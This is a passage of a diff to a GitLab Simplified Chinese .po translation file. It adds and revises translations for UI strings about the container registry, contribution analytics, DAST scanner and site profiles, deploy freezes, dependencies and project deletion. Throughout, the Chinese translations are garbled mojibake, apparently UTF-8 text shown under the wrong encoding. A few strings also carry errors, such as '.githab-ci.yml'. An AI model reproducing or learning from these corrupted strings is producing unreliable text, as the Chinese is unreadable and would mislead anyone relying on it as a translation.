+msgstr "于%{date}%{time}å‘布到%{repositoryPath}é•œåƒä»“库。"
msgid "ContainerRegistry|Push an image"
msgstr "推é€é•œåƒ"
@@ -6476,10 +6626,10 @@ msgid_plural "ContainerRegistry|Remove tags"
msgstr[0] "删除标签"
msgid "ContainerRegistry|Set cleanup policy"
-msgstr ""
+msgstr "设置清ç†ç­–ç•¥"
msgid "ContainerRegistry|Something went wrong while fetching the cleanup policy."
-msgstr ""
+msgstr "获å–清ç†æ”¿ç­–时出了错。"
msgid "ContainerRegistry|Something went wrong while fetching the repository list."
msgstr "获å–仓库列表时出错。"
@@ -6497,7 +6647,7 @@ msgid "ContainerRegistry|Something went wrong while scheduling %{title} for dele
msgstr "安排删除%{title}时出错。请å†è¯•ä¸€æ¬¡ã€‚"
msgid "ContainerRegistry|Something went wrong while updating the cleanup policy."
-msgstr ""
+msgstr "更新清ç†æ”¿ç­–时出了错。"
msgid "ContainerRegistry|Sorry, your filter produced no results."
msgstr "对ä¸èµ·ï¼Œæ²¡æœ‰ç¬¦åˆè¿‡æ»¤å™¨çš„任何结果."
@@ -6521,7 +6671,7 @@ msgid "ContainerRegistry|The last tag related to this image was recently removed
msgstr "与此镜åƒç›¸å…³çš„最åŽä¸€ä¸ªæ ‡ç­¾æœ€è¿‘已被删除。空镜åƒå’Œæ‰€æœ‰ç›¸å…³æ•°æ®å°†ä½œä¸ºå¸¸è§„垃圾收集过程的一部分自动清除。如有任何疑问,请与管ç†å‘˜è”系。"
msgid "ContainerRegistry|The value of this input should be less than 256 characters"
-msgstr ""
+msgstr "此输入的值应å°äºŽ256个字符"
msgid "ContainerRegistry|There are no container images available in this group"
msgstr "当å‰ç¾¤ç»„没有容器镜åƒã€‚"
@@ -6539,7 +6689,7 @@ msgid "ContainerRegistry|This image repository is scheduled for deletion"
msgstr "此镜åƒä»“库已安排删除"
msgid "ContainerRegistry|This project's cleanup policy for tags is not enabled."
-msgstr ""
+msgstr "此项目的标签清ç†ç­–略未å¯ç”¨ã€‚"
msgid "ContainerRegistry|To widen your search, change or remove the filters above."
msgstr "è¦æ‰©å¤§æœç´¢èŒƒå›´ï¼Œè¯·æ›´æ”¹æˆ–删除上é¢çš„过滤器。"
@@ -6548,10 +6698,10 @@ msgid "ContainerRegistry|We are having trouble connecting to the Registry, which
msgstr "当å‰æ— æ³•è¿žæŽ¥åˆ°é•œåƒåº“,原因å¯èƒ½æ˜¯é¡¹ç›®å称或路径的问题。%{docLinkStart}更多信æ¯%{docLinkEnd}"
msgid "ContainerRegistry|Wildcards such as %{codeStart}.*-master%{codeEnd} or %{codeStart}release-.*%{codeEnd} are supported"
-msgstr ""
+msgstr "支æŒé€šé…符,例如%{codeStart}.*-master%{codeEnd}或%{codeStart}release-.*%{codeEnd}"
msgid "ContainerRegistry|Wildcards such as %{codeStart}.*-test%{codeEnd} or %{codeStart}dev-.*%{codeEnd} are supported. To select all tags, use %{codeStart}.*%{codeEnd}"
-msgstr ""
+msgstr "支æŒé€šé…符,例如%{codeStart}.*-test%{codeEnd}或%{codeStart}dev-.*%{codeEnd}。如需选择所有标签,请使用%{codeStart}.*%{codeEnd}"
msgid "ContainerRegistry|With the Container Registry, every project can have its own space to store its Docker images. %{docLinkStart}More Information%{docLinkEnd}"
msgstr "在容器镜åƒåº“中,æ¯ä¸ªé¡¹ç›®éƒ½æœ‰è‡ªå·±çš„空间æ¥å­˜å‚¨å®¹å™¨é•œåƒã€‚ %{docLinkStart}更多信æ¯%{docLinkEnd}"
@@ -6575,19 +6725,19 @@ msgid "ContainerRegistry|You can add an image to this registry with the followin
msgstr "您å¯ä»¥é€šè¿‡ä»¥ä¸‹å‘½ä»¤å°†é•œåƒæ·»åŠ åˆ°å®¹å™¨é•œåƒåº“:"
msgid "Contains %{count} blobs of images (%{size})"
-msgstr "包å«å›¾åƒ(%{size})çš„%{count}个blob"
+msgstr "包å«é•œåƒ(%{size})çš„%{count}个blob"
msgid "Contents of .gitlab-ci.yml"
msgstr ".gitlab-ci.yml的内容"
msgid "ContextCommits|Failed to create context commits. Please try again."
-msgstr ""
+msgstr "创建相关æ交失败。请å†è¯•ä¸€æ¬¡ã€‚"
msgid "ContextCommits|Failed to create/remove context commits. Please try again."
-msgstr ""
+msgstr "创建/删除相关æ交失败。请å†è¯•ä¸€æ¬¡ã€‚"
msgid "ContextCommits|Failed to delete context commits. Please try again."
-msgstr ""
+msgstr "删除相关æ交失败。请å†è¯•ä¸€æ¬¡ã€‚"
msgid "Continue"
msgstr "继续"
@@ -6608,13 +6758,13 @@ msgid "Contribution Analytics"
msgstr "贡献度分æž"
msgid "ContributionAnalytics|%{created_count} created, %{closed_count} closed."
-msgstr ""
+msgstr "创建%{created_count}个,关闭%{closed_count}个。"
msgid "ContributionAnalytics|%{created_count} created, %{merged_count} merged."
-msgstr ""
+msgstr "创建%{created_count}个,åˆå¹¶%{merged_count}个。"
msgid "ContributionAnalytics|%{pushes} pushes, more than %{commits} commits by %{people} contributors."
-msgstr ""
+msgstr "%{pushes}次推é€ï¼Œè¶…过%{people}个贡献者的%{commits}次æ交。"
msgid "ContributionAnalytics|Contribution analytics for issues, merge requests and push events since %{start_date}"
msgstr "自%{start_date}起的议题,åˆå¹¶è¯·æ±‚和推é€äº‹ä»¶çš„贡献分æž"
@@ -6644,7 +6794,7 @@ msgid "ContributionAnalytics|No pushes for the selected time period."
msgstr "在选定的时间段内没有推é€ã€‚"
msgid "Contributions for %{calendar_date}"
-msgstr ""
+msgstr "%{calendar_date}的贡献"
msgid "Contributions per group member"
msgstr "群组æˆå‘˜è´¡çŒ®è¯¦æƒ…"
@@ -6670,9 +6820,6 @@ msgstr "已从%{source_issuable_reference}å¤åˆ¶æ ‡è®°å’Œé‡Œç¨‹ç¢‘。"
msgid "Copy"
msgstr "å¤åˆ¶"
-msgid "Copy %{field}"
-msgstr "å¤åˆ¶%{field}"
-
msgid "Copy %{http_label} clone URL"
msgstr "å¤åˆ¶ %{http_label} 克隆地å€"
@@ -6752,9 +6899,12 @@ msgid "Copy secret"
msgstr "å¤åˆ¶å¯†ç "
msgid "Copy source branch name"
-msgstr ""
+msgstr "å¤åˆ¶æºåˆ†æ”¯å称"
msgid "Copy the code below to implement tracking in your application:"
+msgstr "å¤åˆ¶ä¸‹é¢çš„代ç æ¥å®žçŽ°æ‚¨çš„应用程åºä¸­çš„跟踪:"
+
+msgid "Copy to clipboard"
msgstr ""
msgid "Copy token"
@@ -6769,6 +6919,9 @@ msgstr "å¤åˆ¶å€¼"
msgid "Could not add admins as members"
msgstr "无法将管ç†å‘˜æ·»åŠ ä¸ºæˆå‘˜"
+msgid "Could not archive %{design}. Please try again."
+msgstr ""
+
msgid "Could not authorize chat nickname. Try again!"
msgstr "无法授æƒèŠå¤©æ˜µç§°ã€‚å†è¯•ä¸€æ¬¡ï¼"
@@ -6793,15 +6946,21 @@ msgstr "无法创建环境"
msgid "Could not create group"
msgstr "无法创建群组"
+msgid "Could not create issue"
+msgstr ""
+
msgid "Could not create project"
msgstr "无法创建项目"
-msgid "Could not delete %{design}. Please try again."
-msgstr "无法删除%{design}。请é‡è¯•ã€‚"
+msgid "Could not create wiki page"
+msgstr ""
msgid "Could not delete chat nickname %{chat_name}."
msgstr "无法删除èŠå¤©æ˜µç§° %{chat_name}。"
+msgid "Could not delete wiki page"
+msgstr ""
+
msgid "Could not find design."
msgstr "未找到设计."
@@ -6832,6 +6991,9 @@ msgstr "无法ä¿å­˜é¡¹ç›®ID"
msgid "Could not save prometheus manual configuration"
msgstr "无法ä¿å­˜prometheus手动é…ç½®"
+msgid "Could not udpdate wiki page"
+msgstr ""
+
msgid "Could not update the LDAP settings"
msgstr "无法更新LDAP设置"
@@ -6845,7 +7007,11 @@ msgid "Coverage"
msgstr "覆盖率"
msgid "Coverage Fuzzing"
-msgstr "覆盖率模糊测试"
+msgstr "Coverage Fuzzing"
+
+msgid "Coverage value for this pipeline was calculated by the coverage value of %d job."
+msgid_plural "Coverage value for this pipeline was calculated by averaging the resulting coverage values of %d jobs."
+msgstr[0] ""
msgid "Create"
msgstr "创建"
@@ -6866,7 +7032,7 @@ msgid "Create Project"
msgstr "创建项目"
msgid "Create Value Stream"
-msgstr ""
+msgstr "创建价值æµ"
msgid "Create a GitLab account first, and then connect it to your %{label} account."
msgstr "请先创建一个GitLabå¸æˆ·ï¼Œç„¶åŽå°†å…¶è¿žæŽ¥åˆ°æ‚¨çš„ %{label} å¸æˆ·ã€‚"
@@ -6875,7 +7041,7 @@ msgid "Create a Mattermost team for this group"
msgstr "为这个群组创建一个Mattermost团队"
msgid "Create a local proxy for storing frequently used upstream images. %{link_start}Learn more%{link_end} about dependency proxies."
-msgstr "创建本地代ç†ï¼Œç”¨äºŽå­˜å‚¨é¢‘ç¹ä½¿ç”¨çš„上游镜åƒã€‚ %{link_start}了解更多%{link_end} 关于ä¾èµ–代ç†çš„内容。"
+msgstr "创建本地代ç†ï¼Œç”¨äºŽå­˜å‚¨å¸¸ç”¨çš„上游镜åƒã€‚%{link_start}了解更多%{link_end}关于ä¾èµ–项代ç†çš„内容。"
msgid "Create a merge request"
msgstr "创建一个åˆå¹¶ç”³è¯·"
@@ -6908,7 +7074,7 @@ msgid "Create an issue. Issues are created for each alert triggered."
msgstr "创建一个议题。为已触å‘çš„æ¯ä¸ªè­¦æŠ¥åˆ›å»ºè®®é¢˜ã€‚"
msgid "Create and provide your GitHub %{link_start}Personal Access Token%{link_end}. You will need to select the %{code_open}repo%{code_close} scope, so we can display a list of your public and private repositories which are available to import."
-msgstr ""
+msgstr "请创建并æ供您的GitHub%{link_start}个人访问令牌%{link_end}。您需è¦é€‰æ‹©%{code_open}repo%{code_close}范围,这样我们æ‰å¯ä»¥å‘您显示å¯å¯¼å…¥çš„公共和ç§æœ‰ä»“库的列表。"
msgid "Create board"
msgstr "新建看æ¿"
@@ -6937,6 +7103,9 @@ msgstr "创建å²è¯—"
msgid "Create file"
msgstr "创建文件"
+msgid "Create from"
+msgstr ""
+
msgid "Create group"
msgstr "创建群组"
@@ -6965,7 +7134,7 @@ msgid "Create new"
msgstr "创建新的"
msgid "Create new Value Stream"
-msgstr ""
+msgstr "创建新价值æµ"
msgid "Create new board"
msgstr "新建看æ¿"
@@ -6973,6 +7142,9 @@ msgstr "新建看æ¿"
msgid "Create new branch"
msgstr "创建新分支"
+msgid "Create new confidential %{issuableType}"
+msgstr ""
+
msgid "Create new directory"
msgstr "创建新目录"
@@ -6983,7 +7155,7 @@ msgid "Create new file or directory"
msgstr "创建新文件或目录"
msgid "Create new issue in Jira"
-msgstr ""
+msgstr "在Jira创建新议题"
msgid "Create new label"
msgstr "创建新标记"
@@ -6997,6 +7169,9 @@ msgstr "新建项目"
msgid "Create project label"
msgstr "创建项目标记"
+msgid "Create release"
+msgstr ""
+
msgid "Create requirement"
msgstr "创建需求"
@@ -7046,13 +7221,13 @@ msgid "Created branch '%{branch_name}' and a merge request to resolve this issue
msgstr "创建了分支“%{branch_name}â€å’Œåˆå¹¶è¯·æ±‚以解决此议题。"
msgid "Created by %{job}"
-msgstr ""
+msgstr "由%{job}创建"
msgid "Created by me"
msgstr "由我创建"
msgid "Created by:"
-msgstr ""
+msgstr "创建人:"
msgid "Created date"
msgstr "创建日期"
@@ -7112,7 +7287,7 @@ msgid "Cron Timezone"
msgstr "Cron 时区"
msgid "Cron time zone"
-msgstr ""
+msgstr "Cron时区"
msgid "Crossplane"
msgstr "Crossplane"
@@ -7168,6 +7343,9 @@ msgstr "自定义HTTP(S)åè®®Git克隆URL"
msgid "Custom hostname (for private commit emails)"
msgstr "自定义主机å(用于ç§æœ‰æ交电å­é‚®ä»¶ï¼‰"
+msgid "Custom metrics"
+msgstr ""
+
msgid "Custom notification events"
msgstr "自定义通知事件"
@@ -7235,10 +7413,10 @@ msgid "CustomCycleAnalytics|Update stage"
msgstr "更新阶段"
msgid "Customer Portal"
-msgstr "客户网站"
+msgstr "客户中心"
msgid "Customizable by an administrator."
-msgstr ""
+msgstr "å¯ç”±ç®¡ç†å‘˜è‡ªå®šä¹‰ã€‚"
msgid "Customize colors"
msgstr "自定义颜色"
@@ -7264,6 +7442,15 @@ msgstr "自定义æµæ°´çº¿é…置,查看æµæ°´çº¿çŠ¶æ€å’Œè¦†ç›–率报告。"
msgid "Customize your pipeline configuration."
msgstr "自定义您的æµæ°´çº¿é…置。"
+msgid "CustomizeHomepageBanner|Do you want to customize this page?"
+msgstr ""
+
+msgid "CustomizeHomepageBanner|Go to preferences"
+msgstr ""
+
+msgid "CustomizeHomepageBanner|This page shows a list of your projects by default but it can be changed to show projects' activity, groups, your to-do list, assigned issues, assigned merge requests, and more. You can change this under \"Homepage content\" in your preferences"
+msgstr ""
+
msgid "Cycle Time"
msgstr "周期时间"
@@ -7427,6 +7614,9 @@ msgstr "DAG"
msgid "DAG visualization requires at least 3 dependent jobs."
msgstr "DAGå¯è§†åŒ–至少需è¦3个ä¾èµ–作业。"
+msgid "DAST Profiles"
+msgstr ""
+
msgid "DNS"
msgstr "DNS"
@@ -7457,58 +7647,157 @@ msgstr "%{firstProject}ã€%{rest} å’Œ %{secondProject}"
msgid "Dashboard|Unable to add %{invalidProjects}. This dashboard is available for public projects, and private projects in groups with a Silver plan."
msgstr "无法添加%{invalidProjects}。此仪表æ¿å¯ç”¨äºŽå…¬å¼€é¡¹ç›®ï¼Œä»¥åŠé“¶ç‰Œæ–¹æ¡ˆç¾¤ç»„中的ç§æœ‰é¡¹ç›®ã€‚"
+msgid "DastProfiles|Are you sure you want to delete this profile?"
+msgstr ""
+
+msgid "DastProfiles|Could not create the scanner profile. Please try again."
+msgstr ""
+
msgid "DastProfiles|Could not create the site profile. Please try again."
+msgstr "无法创建站点é…置。请é‡è¯•ã€‚"
+
+msgid "DastProfiles|Could not delete scanner profile. Please refresh the page, or try again later."
+msgstr ""
+
+msgid "DastProfiles|Could not delete scanner profiles:"
+msgstr ""
+
+msgid "DastProfiles|Could not delete site profile. Please refresh the page, or try again later."
+msgstr ""
+
+msgid "DastProfiles|Could not delete site profiles:"
+msgstr ""
+
+msgid "DastProfiles|Could not fetch scanner profiles. Please refresh the page, or try again later."
+msgstr ""
+
+msgid "DastProfiles|Could not fetch site profiles. Please refresh the page, or try again later."
msgstr ""
msgid "DastProfiles|Could not update the site profile. Please try again."
+msgstr "无法更新站点é…置。请é‡è¯•ã€‚"
+
+msgid "DastProfiles|Do you want to discard this scanner profile?"
msgstr ""
msgid "DastProfiles|Do you want to discard this site profile?"
-msgstr ""
+msgstr "您è¦æ”¾å¼ƒæ­¤ç«™ç‚¹é…ç½®å—?"
msgid "DastProfiles|Do you want to discard your changes?"
+msgstr "您è¦æ”¾å¼ƒæ›´æ”¹å—?"
+
+msgid "DastProfiles|Download validation text file"
msgstr ""
msgid "DastProfiles|Edit feature will come soon. Please create a new profile if changes needed"
-msgstr ""
+msgstr "编辑功能å³å°†åˆ°æ¥ã€‚如果需è¦æ›´æ”¹è¯·åˆ›å»ºä¸€ä¸ªæ–°çš„é…ç½®"
msgid "DastProfiles|Edit site profile"
-msgstr ""
+msgstr "编辑站点é…ç½®"
-msgid "DastProfiles|Error fetching the profiles list. Please check your network connection and try again."
+msgid "DastProfiles|Error Details"
msgstr ""
msgid "DastProfiles|Manage Profiles"
-msgstr ""
+msgstr "管ç†é…ç½®"
msgid "DastProfiles|Manage profiles"
+msgstr "管ç†é…ç½®"
+
+msgid "DastProfiles|Minimum = 0 (no timeout enabled), Maximum = 2880 minutes"
msgstr ""
-msgid "DastProfiles|New Site Profile"
+msgid "DastProfiles|Minimum = 1 second, Maximum = 3600 seconds"
msgstr ""
-msgid "DastProfiles|New site profile"
+msgid "DastProfiles|New Profile"
msgstr ""
-msgid "DastProfiles|No profiles created yet"
+msgid "DastProfiles|New scanner profile"
msgstr ""
+msgid "DastProfiles|New site profile"
+msgstr "新建站点é…ç½®"
+
+msgid "DastProfiles|No profiles created yet"
+msgstr "尚未创建é…ç½®"
+
msgid "DastProfiles|Please enter a valid URL format, ex: http://www.example.com/home"
+msgstr "请输入一个有效的URLæ ¼å¼ï¼Œä¾‹å¦‚:http://www.example.com/home"
+
+msgid "DastProfiles|Please enter a valid timeout value"
msgstr ""
msgid "DastProfiles|Profile name"
-msgstr ""
+msgstr "é…ç½®å称"
msgid "DastProfiles|Save commonly used configurations for target sites and scan specifications as profiles. Use these with an on-demand scan."
-msgstr ""
+msgstr "将目标站点和扫æ设置的常用设定ä¿å­˜ä¸ºé…置。使用这些é…置进行需求扫æ。"
msgid "DastProfiles|Save profile"
+msgstr "ä¿å­˜é…ç½®"
+
+msgid "DastProfiles|Scanner Profile"
+msgstr ""
+
+msgid "DastProfiles|Scanner Profiles"
+msgstr ""
+
+msgid "DastProfiles|Site Profile"
msgstr ""
msgid "DastProfiles|Site Profiles"
+msgstr "站点é…ç½®"
+
+msgid "DastProfiles|Site is not validated yet, please follow the steps."
+msgstr ""
+
+msgid "DastProfiles|Site must be validated to run an active scan."
+msgstr ""
+
+msgid "DastProfiles|Spider timeout"
+msgstr ""
+
+msgid "DastProfiles|Step 1 - Choose site validation method"
+msgstr ""
+
+msgid "DastProfiles|Step 2 - Add following text to the target site"
+msgstr ""
+
+msgid "DastProfiles|Step 3 - Confirm text file location and validate"
msgstr ""
msgid "DastProfiles|Target URL"
+msgstr "目标URL"
+
+msgid "DastProfiles|Target timeout"
+msgstr ""
+
+msgid "DastProfiles|Text file validation"
+msgstr ""
+
+msgid "DastProfiles|The maximum number of seconds allowed for the site under test to respond to a request."
+msgstr ""
+
+msgid "DastProfiles|The maximum number of seconds allowed for the spider to traverse the site."
+msgstr ""
+
+msgid "DastProfiles|Validate"
+msgstr ""
+
+msgid "DastProfiles|Validate target site"
+msgstr ""
+
+msgid "DastProfiles|Validating..."
+msgstr ""
+
+msgid "DastProfiles|Validation failed, please make sure that you follow the steps above with the choosen method."
+msgstr ""
+
+msgid "DastProfiles|Validation must be turned off to change the target URL"
+msgstr ""
+
+msgid "DastProfiles|Validation succeeded. Both active and passive scans can be run against the target site."
msgstr ""
msgid "Data is still calculating..."
@@ -7563,7 +7852,7 @@ msgid "Decline and sign out"
msgstr "æ‹’ç»å¹¶é€€å‡º"
msgid "Decompressed archive size validation failed."
-msgstr ""
+msgstr "解压归档大å°éªŒè¯å¤±è´¥ã€‚"
msgid "Default Branch"
msgstr "默认分支"
@@ -7583,8 +7872,8 @@ msgstr "默认分支和å—ä¿æŠ¤çš„分支"
msgid "Default classification label"
msgstr "默认分类标记"
-msgid "Default deletion adjourned period"
-msgstr "默认删除延时"
+msgid "Default deletion delay"
+msgstr ""
msgid "Default description template for issues"
msgstr "议题的默认æ述模æ¿"
@@ -7599,7 +7888,7 @@ msgid "Default first day of the week in calendars and date pickers."
msgstr "在日期选择器中显示æ¯å‘¨é»˜è®¤çš„起始日。"
msgid "Default initial branch name"
-msgstr ""
+msgstr "默认åˆå§‹åˆ†æ”¯å称"
msgid "Default issue template"
msgstr "默认议题模æ¿"
@@ -7620,10 +7909,10 @@ msgid "Default: Map a FogBugz account ID to a full name"
msgstr "默认:将FogBugzå¸æˆ·ID映射为全å"
msgid "DefaultBranchLabel|default"
-msgstr ""
+msgstr "default"
msgid "Define a custom deploy freeze pattern with %{cronSyntaxStart}cron syntax%{cronSyntaxEnd}"
-msgstr ""
+msgstr "使用%{cronSyntaxStart}cron语法%{cronSyntaxEnd}定义自定义部署冻结模å¼"
msgid "Define a custom pattern with cron syntax"
msgstr "使用 Cron 语法定义自定义模å¼"
@@ -7632,13 +7921,13 @@ msgid "Define custom rules for what constitutes spam, independent of Akismet"
msgstr "定义独立于Akismet的垃圾邮件自定义规则"
msgid "Define environments in the deploy stage(s) in %{code_open}.gitlab-ci.yml%{code_close} to track deployments here."
-msgstr ""
+msgstr "在%{code_open}.githab-ci.yml%{code_close}的部署阶段中定义环境æ¥è·Ÿè¸ªéƒ¨ç½²ã€‚"
msgid "Definition"
-msgstr ""
+msgstr "定义"
msgid "Delayed Project Deletion (%{adjourned_deletion})"
-msgstr ""
+msgstr "延迟项目删除(%{adjourned_deletion})"
msgid "DelayedJobs|Are you sure you want to run %{jobName} immediately? Otherwise this job will run automatically after it's timer finishes."
msgstr "您确定è¦ç«‹å³è¿è¡Œ %{jobName} å—?å¦åˆ™çš„è¯ï¼Œè¯¥ä½œä¸šå°†åœ¨è®¡æ—¶ç»“æŸåŽè‡ªåŠ¨è¿è¡Œã€‚"
@@ -7661,12 +7950,12 @@ msgstr "删除"
msgid "Delete Comment"
msgstr "删除评论"
-msgid "Delete Package"
-msgstr "删除文件包"
-
msgid "Delete Snippet"
msgstr "删除代ç ç‰‡æ®µ"
+msgid "Delete account"
+msgstr ""
+
msgid "Delete artifacts"
msgstr "删除产物"
@@ -7698,7 +7987,7 @@ msgid "Delete project"
msgstr "删除项目"
msgid "Delete project. Are you ABSOLUTELY SURE?"
-msgstr ""
+msgstr "删除项目。您ç»å¯¹ç¡®å®šå—?"
msgid "Delete serverless domain?"
msgstr "删除无æœåŠ¡å™¨çš„域å?"
@@ -7721,6 +8010,9 @@ msgstr "删除用户列表"
msgid "Delete variable"
msgstr "删除å˜é‡"
+msgid "DeleteProject|Delete %{name}"
+msgstr ""
+
msgid "DeleteProject|Failed to remove project repository. Please try again or contact administrator."
msgstr "删除项目仓库失败。请é‡è¯•æˆ–è”系管ç†å‘˜ã€‚"
@@ -7742,15 +8034,24 @@ msgstr "æ¢å¤wiki仓库失败。请è”系管ç†å‘˜ã€‚"
msgid "Deleted"
msgstr "已删除"
+msgid "Deleted Projects"
+msgstr ""
+
msgid "Deleted chat nickname: %{chat_name}!"
msgstr "已删除èŠå¤©çš„昵称: %{chat_name}!"
-msgid "Deleted in this version"
-msgstr "此版本删除"
+msgid "Deleted projects"
+msgstr ""
+
+msgid "Deleted projects cannot be restored!"
+msgstr ""
msgid "Deleting"
msgstr "删除中"
+msgid "Deleting a project places it into a read-only state until %{date}, at which point the project will be permanently deleted. Are you ABSOLUTELY sure?"
+msgstr ""
+
msgid "Deleting the license failed."
msgstr "删除许å¯è¯å¤±è´¥ã€‚"
@@ -7760,11 +8061,14 @@ msgstr "删除许å¯è¯å¤±è´¥ã€‚找ä¸åˆ°è®¸å¯è¯ã€‚"
msgid "Deleting the license failed. You are not permitted to perform this action."
msgstr "删除许å¯è¯å¤±è´¥ã€‚ä¸å…许您执行此æ“作。"
+msgid "Deleting the project will delete its repository and all related resources including issues, merge requests etc."
+msgstr ""
+
msgid "Deletion pending. This project will be removed on %{date}. Repository and other project resources are read-only."
msgstr "删除等待中。此项目将于%{date}被删除。仓库和其他项目资æºä¸ºåªè¯»ã€‚"
msgid "Denied"
-msgstr ""
+msgstr "已拒ç»"
msgid "Denied authorization of chat nickname %{user_name}."
msgstr "æ‹’ç»èŠå¤©æ˜µç§° %{user_name} 的授æƒã€‚"
@@ -7773,7 +8077,7 @@ msgid "Deny"
msgstr "æ‹’ç»"
msgid "Deny access request"
-msgstr ""
+msgstr "æ‹’ç»è®¿é—®è¯·æ±‚"
msgid "Dependencies"
msgstr "ä¾èµ–项"
@@ -7785,6 +8089,10 @@ msgid "Dependencies|%d additional vulnerability not shown"
msgid_plural "Dependencies|%d additional vulnerabilities not shown"
msgstr[0] "%d个其它æ¼æ´žæœªæ˜¾ç¤º"
+msgid "Dependencies|%d more"
+msgid_plural "Dependencies|%d more"
+msgstr[0] ""
+
msgid "Dependencies|%d vulnerability detected"
msgid_plural "Dependencies|%d vulnerabilities detected"
msgstr[0] "检测到%d个æ¼æ´ž"
@@ -7792,6 +8100,9 @@ msgstr[0] "检测到%d个æ¼æ´ž"
msgid "Dependencies|%{remainingLicensesCount} more"
msgstr "其余%{remainingLicensesCount}项"
+msgid "Dependencies|(top level)"
+msgstr ""
+
msgid "Dependencies|All"
msgstr "所有"
@@ -7804,6 +8115,9 @@ msgstr "组件"
msgid "Dependencies|Component name"
msgstr "组件å称"
+msgid "Dependencies|Dependency path"
+msgstr ""
+
msgid "Dependencies|Export as JSON"
msgstr "导出为JSON"
@@ -7822,6 +8136,9 @@ msgstr "打包程åº"
msgid "Dependencies|The %{codeStartTag}dependency_scanning%{codeEndTag} job has failed and cannot generate the list. Please ensure the job is running properly and run the pipeline again."
msgstr "%{codeStartTag}dependency_scanning%{codeEndTag} 作业失败,无法生æˆåˆ—表。请确ä¿ä½œä¸šæ­£å¸¸è¿è¡Œå¹¶é‡å¯æµæ°´çº¿ã€‚"
+msgid "Dependencies|There may be multiple paths"
+msgstr ""
+
msgid "Dependencies|Toggle vulnerability list"
msgstr "切æ¢æ¼æ´žåˆ—表"
@@ -7838,30 +8155,30 @@ msgid "Dependency List has no entries"
msgstr "ä¾èµ–项列表没有æ¡ç›®"
msgid "Dependency Proxy"
-msgstr "ä¾èµ–代ç†"
+msgstr "ä¾èµ–项代ç†"
msgid "Dependency Scanning"
msgstr "ä¾èµ–项扫æ"
msgid "Dependency proxy"
-msgstr "ä¾èµ–代ç†"
+msgstr "ä¾èµ–项代ç†"
msgid "Dependency proxy URL"
-msgstr "ä¾èµ–代ç†URL"
+msgstr "ä¾èµ–项代ç†URL"
msgid "Dependency proxy feature is limited to public groups for now."
-msgstr "ä¾èµ–代ç†åŠŸèƒ½ç›®å‰ä»…é™äºŽå…¬å¼€ç¾¤ç»„。"
+msgstr "ä¾èµ–项代ç†åŠŸèƒ½ç›®å‰ä»…é™äºŽå…¬å¼€ç¾¤ç»„。"
msgid "DependencyProxy|Toggle Dependency Proxy"
-msgstr " 开关ä¾èµ–代ç†"
+msgstr " 开关ä¾èµ–项代ç†"
msgid "Depends on %d merge request being merged"
msgid_plural "Depends on %d merge requests being merged"
msgstr[0] "ä¾èµ–于%d 个正在åˆå¹¶çš„åˆå¹¶è¯·æ±‚"
-msgid "Depends on <strong>%d closed</strong> merge request."
-msgid_plural "Depends on <strong>%d closed</strong> merge requests."
-msgstr[0] "ä¾èµ–于<strong>%d个已关闭的</strong>åˆå¹¶è¯·æ±‚"
+msgid "Depends on %{strongStart}%{closedCount} closed%{strongEnd} merge request."
+msgid_plural "Depends on %{strongStart}%{closedCount} closed%{strongEnd} merge requests."
+msgstr[0] ""
msgid "Deploy"
msgid_plural "Deploys"
@@ -7871,19 +8188,19 @@ msgid "Deploy Keys"
msgstr "部署密钥"
msgid "Deploy freezes"
-msgstr ""
+msgstr "部署冻结"
msgid "Deploy key was successfully updated."
msgstr "部署密钥已æˆåŠŸæ›´æ–°ã€‚"
msgid "Deploy keys allow read-only or read-write (if enabled) access to your repository"
-msgstr ""
+msgstr "部署密钥å…许以åªè¯»æˆ–读写(如果å¯ç”¨)模å¼è®¿é—®æ‚¨çš„仓库"
msgid "Deploy keys allow read-only or read-write (if enabled) access to your repository. Deploy keys can be used for CI, staging or production servers. You can create a deploy key or add an existing one."
msgstr "部署密钥å…许åªè¯»æˆ–读写(如果å¯ç”¨)访问您的仓库。 部署密钥å¯ä»¥ç”¨äºŽCI, 预å‘布或生产æœåŠ¡å™¨ã€‚您å¯ä»¥åˆ›å»ºä¸€ä¸ªéƒ¨ç½²å¯†é’¥æˆ–添加一个现有密钥。"
msgid "Deploy keys can be used for CI, staging or production servers. You can create a deploy key or add an existing one."
-msgstr ""
+msgstr "部署密钥å¯ä»¥ç”¨äºŽ CI,预å‘布或生产æœåŠ¡å™¨ã€‚您å¯ä»¥åˆ›å»ºä¸€ä¸ªéƒ¨ç½²å¯†é’¥æˆ–添加一个现有密钥。"
msgid "Deploy progress not found. To see pods, ensure your environment matches %{linkStart}deploy board criteria%{linkEnd}."
msgstr "未找到部署进度。è¦æŸ¥çœ‹pod,请确ä¿æ‚¨çš„环境符åˆ%{linkStart}部署看æ¿æ¡ä»¶%{linkEnd}。"
@@ -7895,22 +8212,22 @@ msgid "DeployBoard|Matching on the %{appLabel} label has been removed for deploy
msgstr "部署é¢æ¿å·²åˆ é™¤æ ‡ç­¾%{appLabel}上的匹é…。è¦æŸ¥çœ‹éƒ¨ç½²é¢æ¿ä¸Šçš„所有实例,您必须更新Chart并é‡æ–°éƒ¨ç½²ã€‚"
msgid "DeployFreeze|Freeze end"
-msgstr ""
+msgstr "冻结结æŸ"
msgid "DeployFreeze|Freeze start"
-msgstr ""
+msgstr "冻结开始"
msgid "DeployFreeze|No deploy freezes exist for this project. To add one, click %{strongStart}Add deploy freeze%{strongEnd}"
-msgstr ""
+msgstr "此项目ä¸å­˜åœ¨éƒ¨ç½²å†»ç»“。如需添加,请点击%{strongStart}添加部署冻结%{strongEnd}"
-msgid "DeployFreeze|Specify times when deployments are not allowed for an environment. The <code>gitlab-ci.yml</code> file must be updated to make deployment jobs aware of the %{freeze_period_link_start}freeze period%{freeze_period_link_end}."
+msgid "DeployFreeze|Specify times when deployments are not allowed for an environment. The %{filename} file must be updated to make deployment jobs aware of the %{freeze_period_link_start}freeze period%{freeze_period_link_end}."
msgstr ""
msgid "DeployFreeze|Time zone"
-msgstr ""
+msgstr "时区"
msgid "DeployFreeze|You can specify deploy freezes using only %{cron_syntax_link_start}cron syntax%{cron_syntax_link_end}."
-msgstr ""
+msgstr "您å¯ä»¥ä»…使用%{cron_syntax_link_start}cron语法%{cron_syntax_link_end}指定部署冻结。"
msgid "DeployKeys|+%{count} others"
msgstr "+%{count} 其他"
@@ -8123,10 +8440,10 @@ msgid "Design Management files and data"
msgstr "设计管ç†æ–‡ä»¶å’Œæ•°æ®"
msgid "Design repositories"
-msgstr ""
+msgstr "设计仓库"
msgid "Design repository"
-msgstr ""
+msgstr "设计仓库"
msgid "DesignManagement|%{current_design} of %{designs_count}"
msgstr "%{current_design}/%{designs_count}"
